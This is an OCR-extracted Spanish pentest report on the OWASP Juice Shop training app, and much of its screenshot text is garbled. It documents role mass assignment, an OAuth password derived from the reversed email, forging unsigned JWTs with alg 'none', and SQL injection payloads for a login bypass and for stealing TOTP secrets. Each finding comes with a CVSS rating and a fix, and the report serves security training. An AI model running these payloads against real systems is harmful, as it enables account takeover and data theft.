la aplicacién.

Disponibilidad
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EXPLOTACION

Al crear un usuario en la aplicacién observamos que en la respuesta aparece un parametro llamado
“role”. Este parametro no es enviado en nuestra peticidon y parece ser que la aplicacién tiene un
comportamiento por defecto, que es asignar el role de “customer” a las peticiones que le llegan.

Fitor Hiding €55, mage and general i coetert

e moe  sans

Htp92.1681 373000

Length MMETpe  Etenson

T commen: = " omes Listerse port

192760137

I :
P92, 1661 375

192158,
hetpna e 2r
B b1 1681 375000

B v v B 0 =

Fyis1.0l Cacko/20100201 Firefox/al.n

kiecoisent status=disnise

e amates ({5 €] >

e
INSPECTOR
Heguest Cookies (4)

Resgsrse Headers 1)

amatctes

2

La pregunta que nos surge es:

¢Cual serd el comportamiento de la aplicacién si afiadimos a nuestra peticién un pardmetro de
“role” con un valor diferente al de “customer”?

Probemos a afiadir dicho pardmetro con cualquier valor:

Request

Raw Hex \n

POST /api/Users/ HTTP/1.1

Host: 192.168.1.37:3000

User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:9l1.0)
Gecko/20100101 Firefox/91.0

Accept: application/json, text/plain, #*/#

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

7 Content-Type: application/json

Content-Length: 283

3 Origin: http://192.168.1.37:3000

Connection: close

Referer: http://182.168.1.37:3000/

> Cookie: language=en; welcomebanner_status=dismiss;
continueCode=
NXE80Nnz5R1x7JDPW2p 43wEBGMMT N1 naSDgU77GmZoNK g 1bQk ravy
SvyYleM]; cookieconsent_status=dismiss

[N

e W

o

13

14 {
”ema1l”:"userTest2b1u1ce-sh.op",
"password":"MLkS0! 77",
"passwordRepeat":"MLkS0! 77",

15 "role":"owner",

16  "securityQuestion":{

"ida,

"guestion':"Father's birth date? (MM/DD/YY)",
"createdAt 2022-05-08T720:22:37.7827",
"updatedAt" ;" 2022- 05- 08T 20: 22: 37, 7822"

1,
”SecurityAnswer":”14/02/2022”

Response

M Raw  Hex Render i =

1 HTTP/1.1 400 Bad Request

2 Access-Control-Allow-Origin: *

= X-Content-Type-Options: nosniff

4 X-Frame-Optiens: SAMECRIGIN

S Feature-Policy: payment 'self

6 Content-Type: application/json; charset=utf-8
Content-Length: 133

S ETag: W/"85-PLEF7VTSCz4Sk+oTPeVOomXY /Nw"

9 Vary: Accept-Encoding

10 Date: Sun, 08 May 2022 21:46:06 GMT
11 Connection: close
1z
3 {
"message" :
"Validation error: Validation 1sIn on role failed"
"errors":[
"field":"role",
"message":"Validation 1sIn on role failed"
]
}
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Como podemos ver en la anterior imagen, el servidor nos envia un error que basicamente nos dice
qgue dicho rol no se encuentra en la aplicacién. Ello indica claramente que el parametro role puede
afiadirse a la peticidn de usuarios y que el servidor lo acepta.

Tratemos de descubrir que nombre tiene el rol de administrador:

r soquorcor  Ducader  Comprer  Loogor  Exonder  practeptios  Userepios  Leam

= 30 Targst bt 92168137000 7 HTTP

= | mspecror ¢

arTRiIBUTE vaLE
Hethed post
Path Iapinsaerat

vALUE

el

23
U2 1621 323000

s s oLeColeNXEBO WSALC..

s,

En la anterior captura se be como si especificamos el valor de “role” como “admin”, se crea una
cuenta de usuario de administrador.

Lo mismo sucede si creamos un usuario con el rol de “accounting” o “deluxe”.
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VUL _005 - LOG IN with Bjoern’s account

Vul_005

DESCRIPCION

EVIDENCIA

RIESGOS

LOG IN with Bjoern’s account

9,8 CRITICA

http://juice.shop/#/login

El cédigo JavaScript visible muestra claramente como se genera la
contrasefa para los usuarios de OAUTH a través de una funcién que
la genera a partir del correo electrénico utilizado, lo que permite a un
atacante malintencionado repetir el proceso y obtener la contrasefa
de la cuenta para poder iniciar sesion.

uthLogin(this.parseRedirectUriParams().access token).subscribe(n=>{

aram ceess
email split('').reverse().join( ")):‘;
this.userService.save({
11,

enatl: n.
as:

Cdédigo vulnerable donde se ve la linea encargada de generar la
contrasefa:

const i = btoa(n.email.split(").reverse().join("));

» var email = 'bjoern.kimminich@gmail.com';
var password = btoa(email.split('').reverse().join(""));
console.log(password);

bW3j LmxpYW1nQGhjawspbWlpaySucmVvamI=

Ejecucion del cddigo en una consola javascript donde se rebela la
contrasefia requerida para realizar el inicio de sesién en base64

Un atacante que conozca la cuenta de gmail de un usuario
determinado puede obtener la contrasena para acceder a la sesidn
como el mismo. Si la victima resultara ser un administrador, como es
el caso de Bjoern, las consecuencias pueden ser muy graves.

Se compromete la confidencialidad, integridad y disponibilidad de los
datos.
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RECOMENDACIONES

REFERENCIAS

Vul_005

CVSS3 PUNTUACION

Vector de Ataque

Complejidad

Privilegios requeridos

Interaccion del usuario

Alcance

Confidencialidad

Integridad

Disponibilidad

Se puede acceder a cuentas de usuarios de forma no autorizada si
usan el inicio de sesién con gmail.

El cédigo encargado de gestionar y crear estas contrasefias no deberia
encontrarse en el front end y se deberia de mover para que no se
pudiera ver.

https://developers.google.com/identity/protocols/oauth?2

https://developers.google.com/identity/protocols/oauth2/web-
server

EVALUACION DE CRITICIDAD CVSS 3.1

Log in with Bjoern's Gmail account

CRITICA 9,8

Red: el ataque se puede montar a través de Internet.

Baja, la explotacidn se logra a través de una inspeccién de cddigo.

Ninguno, el ataque se realiza sin tener ningln tipo de cuenta de
usuario previo al mismo.

Ninguna, el atacante puede acceder a la informacidn sin requerir
ninguna accion por parte de otros usuarios

Sin cambios, la vulnerabilidad se ejecuta y afecta a la aplicacion

Alta, teniendo en cuenta que el usuario podra acceder a informacion
sensible como administrador.

Alta, teniendo en cuenta que el usuario podra alterar informacion
sensible como administrador.

Alta, teniendo en cuenta que el usuario podrd borrar informacion
sensible como administrador.
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https://developers.google.com/identity/protocols/oauth2
https://developers.google.com/identity/protocols/oauth2/web-server
https://developers.google.com/identity/protocols/oauth2/web-server

EXPLOTACION

En primer lugar, analizamos los archivos que la aplicacidn carga en la pagina de inicio de sesion:

~ OWASP Juice Shop PP v 2o I e — q s)‘— ‘” m— :---‘

Login

eccoscce

o

[ Remember me

ERRRERENRE XX

RRRN

Empezamos a analizarlos y en el main.js encontramos referencias a oauth:

® O nspecror B Cansole O Desugoer 1 Nerwars () Ste Bditor () Performance 3 Storage  Fr Accessibiity 5 Application @) CoakieEditor 40k Memary
Outline [ {1 moinjs X mains &

Buscando con la palabra oauth y tratando de seguir el cédigo, acabamos encontrando una mencién a
la contrasefia en el cédigo:
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1

ngOnInit() {

pauthLogin(this.par tUrlParams () .access_token).subscribe(n=>{

}).subscribe(() =»{
thi n(n)

tion * () {
gate(['/login'])

loginfe) {
var n = this;
this.userService.login{{
email: e.email,
password: btoa(e.email.split('').reverse().join('"}),
ocauth: 1@

r.setHours(r

this ', i.token, {

*token’, i.token),
m("bid*, i.bid),
ggedIn.next(!16),

. K (function * () {
ld n.router.navigate(['/'])

atesession(i),
(function * () {
navigate([*/login"]}

enove('token'),
localSterage. removeIten('token),
sessionStorage. removeltem('bid")

1

parseRedirectUrlParans(} {
const n = this.route.snapshot.data.params.substr(1).split('&'),
i-

Estas lineas de cddigo llaman la atencidn, parece que la contrasefia se genera mediante la siguiente
funcién:

btoa(n.email.split(").reverse().join("));

Vamos a reproducirla para ver que hace:

» var email = 'correo@email.com';
var password = btoa(email.split('').reverse().join("'));
console.log{password);

bW jLmxpYW1lQG9lcnIvYw==

Queda claro que la contrasefa se obtiene de aplicar esta funcién al correo electrénico. El string
obtenido esta claramente codificado en base64 pues este formato siempre da cadenas multiples de
4,y en caso de que no sea asi, rellena con el signo ‘=" al final.

En este caso, el string es de 22 caracteres + 2.

Si lo decodificamos tenemos:

moc.liamegoerroc

Si nos fijamos simplemente es el correo al revés. Nuestra teoria es que, usando esta funcién sobre el
correo de un usuario, en este caso: bjoern.kimminich@gmail.com podremos usar la salida como
contrasefia para acceder a la cuenta. Asi pues, pasamos el correo por la funcién:
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mailto:bjoern.kimminich@gmail.com

» var email = 'bjoern.kimminich@gmail.com';
var password = btoa(email.split('').reverse().join(""));
console.log(password);

bW9jLmxpYWlnQGhjawspbwWlpaySucmyVvamI=

Usamos los datos para iniciar sesion:

Login

Ema

bjoern.kimminich@gmail.com

Pa

bW9jLmxpYW1nQGhjaW5pbW1pay5Sucmyvaml=

3] Log in

[0 Remember me

Y conseguimos entrar.

.. OWASP Juice Shop

All Products
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VUL_006 — FORGE Unsigned JWT

FORGE Unsigned JWT

9,8 CRITICA

http://juice.shop/rest/user/whoami

Toda la aplicacién en si

Un Token JWT es un formato estandar y seguro de trasmitir Claims
(propiedades, afirmaciones o en general informacidn) entre diferentes
sistemas que permite ser verificado gracias a la criptografia a través de
la firma digital.

DESCRIPCION

No obstante, si no se configura debidamente, la aplicacion en si puede
admitir JWT Tokens sin firmar, como es el caso de Juice Shop.

Esto simplifica mucho la creacién de un JWT Token que de permisos de
administrador a su usuario.

Respanse

= B v e s B0 =

16 jrest/user/unosm HTR/LL
s o0

0 [X11; Linug ¥B5_52; FviS1.0) Gacko/20100101 Firston/S1.0
Jplain, <=
s

bulugeplants  # E)
bardExizzl S
ciotiatnl

I 11415, 8y ) TGO 00 Sz PHN

=075 By Jp 71 w3 dH| s 01 131 C1 bEpbE
L ITh DL YT v .TnJbOLI 01 hZG 1681 5Tl

e

iy 5
USHAL 0 TwL AL a2 L o1 v Yot Tatnl
a2l 1 P 5 3 ,
MOAEMDAL JETHEI0]E e N 1 | Phg)

75 5 = dttps. 1. QAo BaYD

11 Cache-Control: nax- sge=0
12

Captura con burp de un token normal de la aplicacion

Encoded Decoded

HEADER:
eyJBeXAi10iJKV1QiLCJhbGei0iJSUZIINIIY ey

JzdGFAdXMi101JzdWNjZXNzIiwiZGFBYSI6eyJpZ { .
“typ”: "JWT",

CI6MSwidXN1em5hbWUi0iIilCJ1bWFpbCI6ImFk alg": “RS2S6"
bW1luQGp1aWN1LXNoLm9wIiwicGFzc3dvemQi0il }
EVI DENCIA wMTkyMDIZYTdiYmQ3MzI1MDUXNmYwNi1kZ JE4Y]
PAYLOAD

UwMCIsInJvbGUi0iJhZG1pbiIsImR1bHV4ZVRva
2VuIljoiliwibGFzdExvZ21uSXAi0iIwL jAuMCAw
TiwicHJvZmlsZULtYWd1IjoiYXNzZXRzL3B1Ymx tatus”: “success’,
pYy9pbWFnZXMvdXBsb2Fkcy9kZWZhdWx@QWRtaW e
4ucB5nTiwidG98cFN1Y3J1dCI6IiIsImlzQWNBa
XZ1Iip8BcnV1LCJiemVhdGVkQXQi0iIyMDIyLTA3
LTI4IDIwOjUBOjAWL jAWNSArMDAGMDALILCJ1cGR
hdGVkQXQi0iIyMDIyLTA3LTIAIDIwOjUB0 AwL ]
AWNSArMDA6MDAILCJKZWx1dGVKkQXQiOm51bGx9IL
CJpYXQi0jE2NTkwNDQxMzYsImV4cCI6MTY10TA2
MjEzNn@.sZ4yWD1bcCd-
eCQoGg_PKgAOroYyPNdKjlvxUiUhoAM6BGKn7XH
keCGO65¢c raXwhwafvMusEviReZReGuWPe-
Z5d_EIsBAdC9q7BggEAVUOA9IZY9Za7peSIUBGFN
FKUPXrAIFG3uGrtPH5F k-
GBxByVdttpz_XhI-QAibqY®)

3

VERIEY SIGNATURE

Captura del contenido del token capturado. El atacante debe editar el
header poniendo el algoritmo a “none” y cambiar parametros del
payload para luego codificarlo de nuevo en base64
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Request Respanse

v [ e B8 0 = [ EORRT - L
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(51 g SwKT CAL =0T QT Y 10T ADNDE2AL KT CAL bl ] gTY LT A2H] Ezhogp
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in: L33
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hzavaL3
ZUL o1 LZSATCAGLC] crid
AGTC1eCRhGUENOL: YIS 11D 14D

FaTjagry e ik jogTY 10 AZHj E2bigp

Captura de la peticién enviada con el token creado a /rest/user/whoami
en donde vemos que efectivamente, se nos considera un usuario real y
con permisos de administrador.

Un usuario malintencionado puede forjar un token con niveles de
RIESGOS autorizaciéon de administrador para hacer y deshacer dentro de la
aplicacion todo aquello que le este permitido por su rol.

RECOMENDACIONE

Se deberia deshabilitar el uso de token sin firmar en la aplicacion.

S
https://gist.github.com/Retr02332/66bc6972e01afa0e49c451af9ea5e4
REFERENCIAS 27
https://jwt.io

EVALUACION DE CRITICIDAD CVSS 3.1

Vul_006 Unsigned JWT

CVSS3 PUNTUACION 9,8 CRITICA

Vector de Ataque Red: el ataque se puede montar a través de Internet.

G EIE Baja, el ataque se puede montar en cualquier momento sin necesidad
de que se den circunstancias especiales para ello.

Ninguno, no se requiere de tener privilegios para ejecutar el ataque
en si.

Privilegios requeridos

Ninguna, el atacante puede acceder a la informacidn sin requerir

Interaccion del usuario . L, .
ninguna accion por parte de otros usuarios.
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https://jwt.io/

Alcance

Confidencialidad

Integridad

Disponibilidad

Sin cambios, la vulnerabilidad se ejecuta y afecta a la aplicacion.

Alta, porque permite suplantar a un administrador y acceder a todos
sus privilegios y datos sensibles de clientes.

Alta, porque permite alterar ciertos datos de clientes desde el rol de
administrador.

Alta, porque permite eliminar cuentas de usuario por ejemplo y
denegar de esta forma el acceso a sus datos.

EXPLOTACION

Para poder forjar con éxito nuestro token lo primero es conseguir uno existente de cualquier
usuario. Lo podemos hacer usando burp o simplemente, mirando las cookies guardadas tras iniciar

sesion:

Request

vy [l e B 0 =

L GET prestjuser/whoani HTTP/1.2

2 tost: 192,159, 1,411 3009

3 User-agent: Mozalla/5.0 (X115 Linux x85_84; rviol.0) Gecko/20100101 Farefex/91.0
% Accept: applacation/json, Text/plan, i+

5 ACCRPT-Languags: en-Us,enig=a.5

5 Accept-Encodang: gzip, deflete

7 Authorization: Be:

ey 083 01 KV 01 LCINbGE1 01 52T 1115, £y 2dGROMXM: 0 12N 12T 1w ZGFOY ST ey JpZCT SMSwr dxL cshbnti 01 1LC LbWepbeTsTnFkonlugaplamy 5

Response

T o Hex fonde =
LHITR/LLL 290 oK

2 necsss-control-allow-origin: =

2 - Cantent-Type-gpmaons: nosnaff

% K-Frame-Options: SAESRIGIN
= Feature-Folicy: payment 'seltt
S Centent-Type: applicationsjsens charset=utf-§
7 Centent-Length: L3z

7802 W/" B4 KCAXRUKVOTOgPIPSOWP DS ZLNZI

LLANOLIDWI 14 CCFz€ 3dvCmO1 G T TkyMD1 2¥Tdi PRSKZT TMDUXNTYWh] L2 JEGY ] IWMCESTR Vb G101 ShZG1pba TSTNALbHYAZVRY2VUT jo1TivabOF2dExvz2] 3 Vary: decept-Encasing
USXALO Tul J AUMCAWT MlszulTvwdLrjoi p 1widGS0CPNLY201dCIeT11sIml 10 Dete: Thu, 28 Jul 2622 21:41:08 GAT
20WN0aXZ 11 JpOCAVLLEDj cmuhdCYH OXOL 01Ty yLT ASLTT &1DIwO] UGO] Rl ANSAT HOAEMDIA] LC yMDIYLTAGLT Ao ] 52 11 close
THOREMDRL cIpragioj e ayu1becd-ecancg F Lhaivsogs 12
=K v _the - Qaisq¥D 151
9 Connection: close rusert +{
9 Referer: http://192.168.1.41:30007 a1,
10 Cookie: language=en: _status=dismiss: - i - semei b+ adie Ag)ut ce-sh sp’ .
Z3986EUT A tLTL) 3 cantinuecodeFindT t= *Lestlagintp!:+0.0.0.0",
pYynake IPjzma) 02rb *prafilelnaget :
BETEYpOZgHNO. 2EPLbA7Gr vy BAA] LoeSOGKY N takens “assets publie /i mages upl oads fdefaul tadnin. prg’
b 1 3 S 0 TiL 3
LLXNeL T i € Gz 3y cmQi B3 TuMThyMDT 2 Tdi FnGaMeT THDUSN Y whl 1 2 E4Y. b hZG1ph: JeiTivi t
LSXAI 0 Tul TsTnl
QMO jpOcrlLE: 01 TyMDILTASLT] TyMDTYLTAZLT] i
AcMDiL

11 €scho Controls max-age=0

Lhas
_HhT-QAiBaY0

Seguidamente, vamos a leer el contenido del token:

eyJBeXAi0iJKV1QiLCJhbGei0iJSUZITNiIJ9 . ey
JzdGFOdXMi0iJzdWNjZXNzIiwiZGF@YSI6eyJpZ
CI6MSwidXN1lcmShbWUiOiIil CJ1bWFpbCI6ImFk
bW1luQGp1aWN1LXNoLm9wIiwicGFzc3dvemQiOil
WMTkyMDIZYTdiYmQ3MzI1MDUXNmYwWNj1kZjE4Y ]
UwMCIsInJvbGUi0iJhZG1pbiIsImR1bHV4ZVRva
2VuIjoiliwibGFzdExvZ21uSXAiOiIwL jAuMC4w
TiwicHJvZmlsZUltYWd1IjoiYXNzZXRzL3B1Ymx
pYy9pbWFnZXMvdXBsb2Fkcy9kZWZhdWxBQWRtaW
4ucG5nIiwidG98cFN1Y3J1dCI6IiIsIm1zQWNBa
XZ1IjpBcnV1LCJjemVhdGVkQXQi0iIyMDIyLTA3
LTI2IDIX0jEWOjI2LjUINiArMDA6MDALILCJ1cGR
hdGVkQXQi0iIyMDIyLTA3LTI2IDIX0jEw0;I2L
UTNiArMDA6MDAiLCJKkZWx1dGVkQXQiOm51bGxIL
CJpYXQi0jE2NTg4NzMxMDksImV4cCI6MTY10Dg5
MTEwWOX®.CDothDéwc_0JdG__SokV-2gckV-1E-
PZmHB2PUyBqR3uduouj4zZ-
grGOLeQmehj18z_MHwX9uEhexPdXnZcRswEofXg
9YUUUWPZIc09Zpmen7KS@s ThWIDFXHTGNEXM_ZA
MFOEA_muQXshsXMsdJeSipplwily-
avo3xWeayKy4|

HEADER: ALGORITHM & TOKEN TYPE
{
“typ": "JNT",
alg": "RS256’
}
PAYLOAD: DaTA
status”: “success”,
data

*10°:1
us

"admin@juice-sh
©192023a7bbd
admin”,

250516£069d 180500

password
role”:

"deluxeToken
lastLoginIp
"profileIm
blic/images/uploads/defaultAdmin.png”,
pSecret
isActive

9.8.8.0",

*assets/pul

true,
"2022-0

"createdAt” :

‘updatedAt

"deletedAt™: nu
}
iat
exp

10:26.556 +00:00",
21:10:26.556 +06:00

1658873189,
1658891109

VERIFY SIGNATURE

Modificaremos y codificaremos la cabecera a base64, cuidando de que el resultado no contenga el
caracter “=" que no esta permitido. Para ello, nos valdremos de afiadir un espacio cuando sea

necesario.
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Por ejemplo, en la siguiente captura codificamos la cabecera:

Input sampic B & m Qutput (L3
« e ——
B

)

Los cambios indispensables sdn:

”.n

- Enlacabecera, parametro “alg”:"none”
- "email": "jwtn3d@juice-sh.op"

Otros campos se pueden editar segln propdsito, especialmente el del rol.

“n

Al final de la cadena obtenida debemos afiadir, sino esta, un “.” pues los token no firmados deben
tener siempre este final.

EL TOKEN COMPLETO

EwoglCJ0eXAiQiAiSIdUliwKICAiYWxnljoglClub25ligp9.ewoglClzdGFOdXMiOiAgInN1Y2NIc3MiLAoglIClk
YXRhljogewogICAgImlkljogMSwKICAgICJ1c2VybmFtZSI6ICliLAogICAgImVtYWiIsljogimp3dG4zZEBqdWI
jZ251zaC5vcClsCiAgICAiIcGFzc3dvemQiOiAIMDESMjAYM2E3YmIKNzMyNTAIMTZmMDY5ZGYxOGI1IMD
AiLAogICAgInJvbGUIOiAiYWRtaW4iLAogICAgImRIbHV4ZVRva2VuljoglilsCiAglCAibGFzdExvZ2IuSXAiOi
AiMCAwLjAuMCIsCiAgICAicHIvZmIisZUItYWdlljoglmFzc2VOcy9wdWJsaWMvaW1hZ2VzL3VwbG9hZH
MvZGVmYXVsdEFkbWIuLnBuZylsCiAgICAidG90cFNIY3JIdCI6ICliLAogICAgImIzZQWNOaXZlljogdHJ1ZSwK
ICAgICljcmVhdGVkQXQiOiAiMjAyMiOwNyOyOCAyMDo1NDowMC4wMDUgKzAwOjAwliwKICAgICl1cG
RhdGVkQXQiOiAiMjAyMiOwNy0yOCAyMDo1NDowMCA4wMDUgKzAwOjAwliwKICAgICIkZWxIdGVkQX
Qi0iBudWxsCiAgfSwKICAiaWFOljogMTY10TAONDEzNiwKICAiZXhwljogMTY10TA2MjEzNgp9.

USAR EL TOKEN EN LA APLICACION

Ahora simplemente nos queda pegar el nuevo token en la cookie y en el bearer token que se pasa a
la aplicacién y habremos conseguido el acceso.
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VUL 007 — TWO FACTOR Authentication

TWO FACT hentication

Vul_007 9,8 CRITICA

http://juice.shop/rest/2fa/verify

EI TOTP o “TIME-BASED ONE TIME PASSWORD” es un mecanismo de doble
autenticacién. Generalmente, lo usamos a través de una app como
“google authenticator” o “latch” en nuestro movil. Este sistema genera
una segunda contrasefia que cambia cada 60 segundos y para sincronizar
la app con el servidor se hace a través de un TOKEN.

Para poder descubrir estas contrasenas, solo es necesario obtener el token
para usarlo en la configuracién de dichas APP.

DESCRIPCION En la aplicacion de JUICE SHOP estos TOKEN se guardan en la base de datos
en texto plano, sin encriptar, y un atacante puede hacerse con ellos de dos
maneras:

- mediante una inyeccion SQL, no siendo necesario iniciar sesion en la
aplicacion.

- mediante la vulnerabilidad “FILTRACION DE DATOS en el Endpoint”,
pues cualquier usuario puede enviar una peticion GET a la ruta
“/rest/user/authentication-details” y obtenerlos.

RSO G Por WG et Sensnce DO SOMEME LN LAGNGN  FTORCLONON  Useropes  Lean
FHercept  WTIFhistory  wobsocests iy Sptian

[ ———

ot Pame Edtor  wane  Longth MMEtge s e commane TS
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Captura de como la aplicacidon nos brinda un token a un usuario recién

creado para poder activar el doble factor.
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RIESGOS

RECOMENDACION
ES

REFERENCIAS

Request Attribuze

ioe HTTR/1LL GQuery Paramete:

Body Parameters

5 Accept Language: 1L
& Accept-Encading: gzip Remuest Conides |
7 lose

Reguest Headers
_status=disriss;
cotrusCsdeinal T
conti nueCoder K1t=

Respanse Hoader

“updatedac* :a,
“deleteda 1o

|Tanln el nuevo usuario creado al que hemos el

-

[Doble factor como el de wursbot muestran el totpSecrs

}
1

-

Banana ju

Captura del login e wurstbrot@juice-sh.op ciaé a quehemos podido
configurar el doble factor con el totpSecret:
IFTXE3SPOEYVURT2MRYGI52TKJ4HC3KH

En ocasiones el doble factor de autenticacion nos puede causar una falsa
sensacion de seguridad y es algo peligroso. Esta vulnerabilidad puede
permitir a un atacante estar mucho tiempo usando una cuenta de
administrador sin que este se dé cuenta.

Gracias a esta vulnerabilidad, uno puede acceder a cualquier cuenta de
juice shop que tenga este tipo de autenticacion y actuar en nombre del
mismo, rompiendo la confidencialidad, integridad y disponibilidad de los
datos. Esto es especialmente cierto cuando se vulnera usuarios
administradores.

De cara a la empresa, corre todo tipo de riesgos por ello, desde
problemas con la reputacion hasta pérdidas de datos importantes y
vulneracidn total de los datos de los clientes.

Los tokens se deberian de guardar cifrados para que fuera realmente muy
dificil descifrarlos.

Los problemas de inyeccion SQL y de filtracion de datos del endpoint son
urgentes de solventar para evitar esta vulnerabilidad.

https://owasp.org/www-project-top-ten/2017/A2 2017-
Broken Authentication

https://cheatsheetseries.owasp.org/cheatsheets/Authentication Cheat
Sheet.html
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EVALUACION DE CRITICIDAD CVSS 3.1

Vul_007 TWO FACTOR AUTHENTICATION

CVSS3 PUNTUACION CRITICA 9,8

Vector de Ataque Red: el ataque se puede montar a través de Internet.

Baja, el ataque se puede montar en cualquier momento sin necesidad

Complejidad . . .
de que se den circunstancias especiales para ello.

Ninguno, en realidad, el ataque se puede montar sin ningln acceso
privilegiado terminando en conseguir un acceso administrador.

Privilegios requeridos

Ninguna, el atacante puede acceder a la informacidén sin requerir

Interaccion del usuario . ., .
ninguna accién por parte de otros usuarios.

Sin cambios, la vulnerabilidad se ejecuta y afecta a la aplicacion.

: ) Alta, porque permite acceder a cuentas protegidas con la doble
Confidencialidad . .
autenticaciéon y que pueden ser de administradores
Alta, porque permite acceder a cuentas protegidas con la doble
Integridad autenticacion y que pueden ser de administradores

Alta, porque permite acceder a cuentas protegidas con la doble
Disponibilidad autenticacion y que pueden ser de administradores

EXPLOTACION

Esta vulnerablidad se apoya en el descubrimiento de los TOKEN usados para el mecanismo de
autenticaciéon y que pueden obtenerse mediante la vulnerabilidad de INYECCION SQL o la
vulnerabilidad de FILTRACION DE DATOS EN EL ENDPOINT.
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De esta forma, la manera de vulnerar una cuenta existente que tenga activado el doble factor de
autenticacion e iniciar sesién en la misma es la siguiente:

1) hacer login con una inyeccion, ejempo: wurstbrot@juice-sh.op'--

2) en Latch u otro software, afiadir el acceso a la cuenta con el totpSecret obtenido a través de
inyeccién SQL o la FILTRACION DE DATOS.

3) poner la contrasefia temporal y entrar.

COMO FUNCIONA

En la siguiente captura podemos ver como al activar la doble autenticacién a un usuario cualquiera,
la aplicacién crea este token que posteriormente se almacenara en texto plano en la base de datos si
se verifica.

cquencer  Uecoer  Compater  Lojger  bmenger  Progcioplens  Useropons  Leam

URL Param
frest/adminjapalicatian-canfiguration

¢ sats  Legth MMEbpe  Exanson THle Comment s " Coakas
e s 192168141

=3

;0 Tes  sow 192368141 2526150 29 ... 8080
0 M3 saN 192768141 2378:50.29 ... B0SC
0 w3 sow 182262141 2336:5029 ju.. 8080
w0 asz soN 192368001
om ags soN 192768141
o0 482 sON 192768141
o4 w5 152363141
w2 192768701 252850 29 0., 8080
0 70 sow 192168141 2328:5429 .. 8080
o4 2 192763141 2326:5429 ju.. B0
w0 0z 182368741 253042 29 .. 8080
w4 s 192168141 23321329 1., 8080
e 192.168.1.41 23321329 ju.. B8O

1= = |INspecTOR
Request Attriutes

Recu

5
566U KEThuZnze15p - 3L adFeKEr

Fig. 1: Creacidn de un token.

Ahora el cometido del atacante es hacerse con dicho token para usarlo. Veamos el método de
inyeccion SQL que no requiere de ningln permiso. El método de Filtracién de Datos se puede
encontrar explicado en dicha vulnerabilidad.

En la siguiente captura, podemos ver como recuperamos los datos del totpSecret en el usuario
wurstbrot y el usuario test que nosotros hemos creado, tal y como esta almacenado en la base de
datos, en texto plano y sin cambios a través de una inyeccidon SQL en el buscador de productos:
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w = Request Attribute

e (@ 0 =

1 GET /rest/products/search?q=apple’ ] JUNION+SELECT+1, emai |, password, totpSecret] 5,6, 7,8, 9+ fromusers; - - HTTR/1.1
Host: 192.168.1.41:3000 Query Parameter
User-Agent: MozallasS.0 (X11; Linux x85_64; rvi81.0) Gecko/20L00101 Firefox/91.0

Body Parameters

4 accept: application/json, text/plain, *,

S Accept-Language: en-US, en;g=0.5

& Accept-Encoding: gzip, deflate
Connection: clese

Request Cookies |

Referer: http://192.168.1.41:3000/ Request Hesders

5 Caokie: languagesen; welcomebanner statussdismiss; cookieconsent statussdismiss; continueCode=
¥GQQU3hY £7TpHLETLUbCE ySNUk M ySHLNSWbI Y Ksgk Uy cBMTGZSy3Gp; continueCodeFindl
pY ynakgQn¥kbpOOGqWaxdY 13 yXa5q tmBR7EL DMy5 2L EoSNEr IR zmw; 02rb; continueCodsFixIt=
6ubY BYPOZqMD] AQRUZEXWDASVk X SPhS 1 3ZEPL K7 GrugyBnB) L oesDgryN

0 Tf-Hone-Match: Wy*3250-z4LPS15f fELAS) 20LrqB/ yBcOZc!

ice-sh.op*,

Response Header
os16fosadf 18bs00", v
VFCOTET",

Tanto el nuevo usuario creado al que hemos el baflaf*,

pricet:tt,
- *deluxeprice" :s,

*image®:s,
YcreatedAt:7,
updatedat”:8,
rdeletedat :a

Doble factor como el de wursbot muestran el totpSecr

*deletedat® o’

1

3
D8 [] 3] Goron omatches (D} &[] [search 0 matehes

Fna

Fig. 2: Inyeccidn SQL para recuperar los token de la base de datos.

Ahora que disponemos del valor del token, debemos usarlo en una aplicacién como “LATCH” para
gue la misma nos entregue las contrasefias temporales.

A continuacidn, usamos la inyeccién SQL para hacer un bypass en el inicio de sesién del usuario
deseado y nos encontraremos con que la aplicacidn nos solicitara la contrasefia temporal.

Usando la aplicacidon de LATCH anteriormente configurada, podremos obtener dicha contrasefia y

acceder al a cuenta.

ser "wurstorot'. (Disatling
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VUL_008 - EPHEMERAL Account

EPHEMERAL Account

Vul_008 9,8 MEDIA

http://juice.shop/#/login

Es posible crear una consulta SQL que cree una tabla temporal
con los datos del usuario con el que queremos iniciar sesion. Este
usuario puede existir o no dentro de la base de datos pues la

consulta no se realizara directamente a esta, sino a una tabla
DESCRIPCION temporal.

Si es un usuario creado por nosotros, podemos darle el rol que
deseemos, como el de administrador o contable, y acceder a los
datos y permisos que estan disponibles para los mismos.

Login

Email *

' UNION SELECT * FROM (SELECT 15 as 'id', "' as 'username’, ‘acc

EVIDENCIA

5] Log in

[J Remember me

Captura de la inyeccién de cédigo malicioso en el formulario
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Captura del inicio de sesidén conseguido, en este caso, con una cuenta
de contable.

Esta inyeccidon permite iniciar sesién con cualquier tipo de rol
pudiendo llegar a comprometer tanto la confidencialidad,
integridad y disponibilidad de los datos de una manera critica.

Ademas, se acentua por el hecho de que existen otras
inyecciones que nos permite obtener el formato de los datos
necesarios de la tabla de usuarios para realizar este ataque.

RIESGOS

RECOMENDACIONE
S

El formulario de inicio de sesion es altamente vulnerable a
inyecciones SQL y se debe sanear la entrada de datos para
evitarla.

REFERENCIAS https://portswigger.net/web-security/sql-injection

EVALUACION DE CRITICIDAD CVSS 3.1

Vul_008 Ephemeral Account

CVSS3 PUNTUACION CRITICA 9,8

Vector de Ataque Red, es accesible desde internet

Complejidad Baja, no se requiere de circunstancias especiales para realizarla

Privilegios requeridos Ninguno
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Interaccion del usuario Ninguna

Alcance Sin cambios, la vulnerabilidad nace y afecta a la aplicacion

Alta, pues permite iniciar sesidén con usuarios de permisos elevados y

Confidencialidad . .
acceder a datos confidenciales

Alta, pues permite iniciar sesidén con usuarios de permisos elevados y

Integridad modificar datos

Alta, pues permite iniciar sesidn con usuarios de permisos elevados y

Disponibilidad borrar datos

EXPLOTACION

Gracias a una inyeccidn anterior, descubrimos las columnas de la tabla usuarios y su formato:
8nr =

xB6_B4; rv:i81.0) Gocko 30100101 Firefox/81.0
L

‘creatadst' 7,
“udatadAt' 8,
deletedat s

Autherization: Beare
Coho 109, 2y 2daF i)z I6mGwidaLemshony
oL lhirgbe CronrrLuoap Lo LT 0, C T2 384ERQL L T yHDI 2 T VAR DUt 23
JnZGIpbi T TaRL

wudm L oV yopl

2quN0aXZUL pDEAVLLE o2y MD LT AL 10 Xy T
VMO pLTAALTAZTOTX0)T20] A2 | yMCATMDAMDRI LE Tk v
